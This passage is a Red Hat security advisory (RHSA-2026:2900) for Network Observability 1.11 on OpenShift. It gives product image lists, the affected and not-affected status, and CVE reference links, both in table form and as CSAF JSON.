| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
References
115 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:2900 | self |
| https://access.redhat.com/security/cve/CVE-2024-25621 | external |
| https://access.redhat.com/security/cve/CVE-2025-12816 | external |
| https://access.redhat.com/security/cve/CVE-2025-13465 | external |
| https://access.redhat.com/security/cve/CVE-2025-15284 | external |
| https://access.redhat.com/security/cve/CVE-2025-52881 | external |
| https://access.redhat.com/security/cve/CVE-2025-58183 | external |
| https://access.redhat.com/security/cve/CVE-2025-64329 | external |
| https://access.redhat.com/security/cve/CVE-2025-66031 | external |
| https://access.redhat.com/security/cve/CVE-2025-66418 | external |
| https://access.redhat.com/security/cve/CVE-2025-66471 | external |
| https://access.redhat.com/security/cve/CVE-2025-66506 | external |
| https://access.redhat.com/security/cve/CVE-2026-21441 | external |
| https://access.redhat.com/security/cve/CVE-2026-23745 | external |
| https://access.redhat.com/security/cve/CVE-2026-24049 | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://docs.openshift.com/container-platform/lat… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2024-25621 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2413190 | external |
| https://www.cve.org/CVERecord?id=CVE-2024-25621 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2024-25621 | external |
| https://github.com/containerd/containerd/blob/mai… | external |
| https://github.com/containerd/containerd/commit/7… | external |
| https://github.com/containerd/containerd/security… | external |
| https://access.redhat.com/security/cve/CVE-2025-12816 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2417097 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-12816 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-12816 | external |
| https://github.com/digitalbazaar/forge | external |
| https://github.com/digitalbazaar/forge/pull/1124 | external |
| https://github.com/digitalbazaar/forge/security/a… | external |
| https://kb.cert.org/vuls/id/521113 | external |
| https://www.npmjs.com/package/node-forge | external |
| https://access.redhat.com/security/cve/CVE-2025-13465 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-13465 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-13465 | external |
| https://github.com/lodash/lodash/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2025-15284 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-15284 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-15284 | external |
| https://github.com/ljharb/qs/commit/3086902ecf7f0… | external |
| https://github.com/ljharb/qs/security/advisories/… | external |
| https://access.redhat.com/security/cve/CVE-2025-52881 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2404715 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-52881 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-52881 | external |
| https://github.com/opencontainers/runc/security/a… | external |
| https://github.com/opencontainers/selinux/pull/237 | external |
| https://access.redhat.com/security/cve/CVE-2025-58183 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2407258 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-58183 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-58183 | external |
| https://go.dev/cl/709861 | external |
| https://go.dev/issue/75677 | external |
| https://groups.google.com/g/golang-announce/c/4Em… | external |
| https://pkg.go.dev/vuln/GO-2025-4014 | external |
| https://access.redhat.com/security/cve/CVE-2025-64329 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2413299 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-64329 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-64329 | external |
| https://github.com/containerd/containerd/commit/0… | external |
| https://github.com/containerd/containerd/security… | external |
| https://access.redhat.com/security/cve/CVE-2025-66031 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2417397 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-66031 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66031 | external |
| https://github.com/digitalbazaar/forge/commit/260… | external |
| https://github.com/digitalbazaar/forge/security/a… | external |
| https://access.redhat.com/security/cve/CVE-2025-66418 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2419455 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-66418 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66418 | external |
| https://github.com/urllib3/urllib3/commit/24d7b67… | external |
| https://github.com/urllib3/urllib3/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2025-66471 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2419467 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-66471 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66471 | external |
| https://github.com/urllib3/urllib3/commit/c19571d… | external |
| https://github.com/urllib3/urllib3/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2025-66506 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2419056 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-66506 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66506 | external |
| https://github.com/sigstore/fulcio/commit/765a0e5… | external |
| https://github.com/sigstore/fulcio/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-21441 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2427726 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-21441 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-21441 | external |
| https://github.com/urllib3/urllib3/commit/8864ac4… | external |
| https://github.com/urllib3/urllib3/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-23745 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430538 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-23745 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23745 | external |
| https://github.com/isaacs/node-tar/commit/340eb28… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-24049 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431959 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24049 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24049 | external |
| https://github.com/pypa/wheel/commit/7a7d2de96b22… | external |
| https://github.com/pypa/wheel/releases/tag/0.46.2 | external |
| https://github.com/pypa/wheel/security/advisories… | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24842 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24842 | external |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Network Observability 1.11 for Red Hat OpenShift.",
"title": "Topic"
},
{
"category": "general",
"text": "Network flows collector and monitoring solution.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:2900",
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2024-25621",
"url": "https://access.redhat.com/security/cve/CVE-2024-25621"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-12816",
"url": "https://access.redhat.com/security/cve/CVE-2025-12816"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-13465",
"url": "https://access.redhat.com/security/cve/CVE-2025-13465"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-15284",
"url": "https://access.redhat.com/security/cve/CVE-2025-15284"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-52881",
"url": "https://access.redhat.com/security/cve/CVE-2025-52881"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-58183",
"url": "https://access.redhat.com/security/cve/CVE-2025-58183"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-64329",
"url": "https://access.redhat.com/security/cve/CVE-2025-64329"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-66031",
"url": "https://access.redhat.com/security/cve/CVE-2025-66031"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-66418",
"url": "https://access.redhat.com/security/cve/CVE-2025-66418"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-66471",
"url": "https://access.redhat.com/security/cve/CVE-2025-66471"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-66506",
"url": "https://access.redhat.com/security/cve/CVE-2025-66506"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-21441",
"url": "https://access.redhat.com/security/cve/CVE-2026-21441"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-23745",
"url": "https://access.redhat.com/security/cve/CVE-2026-23745"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-24049",
"url": "https://access.redhat.com/security/cve/CVE-2026-24049"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-24842",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://docs.openshift.com/container-platform/latest/observability/network_observability/network-observability-operator-release-notes.html",
"url": "https://docs.openshift.com/container-platform/latest/observability/network_observability/network-observability-operator-release-notes.html"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_2900.json"
}
],
"title": "Red Hat Security Advisory: Network Observability 1.11.0 for OpenShift",
"tracking": {
"current_release_date": "2026-07-23T03:43:49+00:00",
"generator": {
"date": "2026-07-23T03:43:49+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.7"
}
},
"id": "RHSA-2026:2900",
"initial_release_date": "2026-02-18T08:39:41+00:00",
"revision_history": [
{
"date": "2026-02-18T08:39:41+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-18T05:32:03+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-23T03:43:49+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Network Observability (NETOBSERV) 1.11.2",
"product": {
"name": "Network Observability (NETOBSERV) 1.11.2",
"product_id": "Network Observability (NETOBSERV) 1.11.2",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:network_observ_optr:1.11::el9"
}
}
}
],
"category": "product_family",
"name": "Network Observability (NETOBSERV)"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-flowlogs-pipeline-rhel9@sha256%3A9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771229282"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-ebpf-agent-rhel9@sha256%3A0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226629"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-cli-rhel9@sha256%3Aa852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226060"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-compat-rhel9@sha256%3Aa9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227610"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-rhel9@sha256%3A4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227650"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-operator-bundle@sha256%3A6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771231259"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"product_id": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-rhel9-operator@sha256%3A5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209?arch=amd64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771230433"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-flowlogs-pipeline-rhel9@sha256%3Ac2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771229282"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-ebpf-agent-rhel9@sha256%3Ae72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226629"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-cli-rhel9@sha256%3A0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226060"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-compat-rhel9@sha256%3A17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227610"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-console-plugin-rhel9@sha256%3A77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771227650"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64",
"product_id": "registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-rhel9-operator@sha256%3Acfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c?arch=arm64\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771230433"
}
}
}
],
"category": "architecture",
"name": "arm64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"product_id": "registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-flowlogs-pipeline-rhel9@sha256%3A84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771229282"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"product_id": "registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/network-observability-ebpf-agent-rhel9@sha256%3Af85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc?arch=ppc64le\u0026repository_url=registry.redhat.io/network-observability\u0026tag=1771226629"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"product": {
"name": "registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
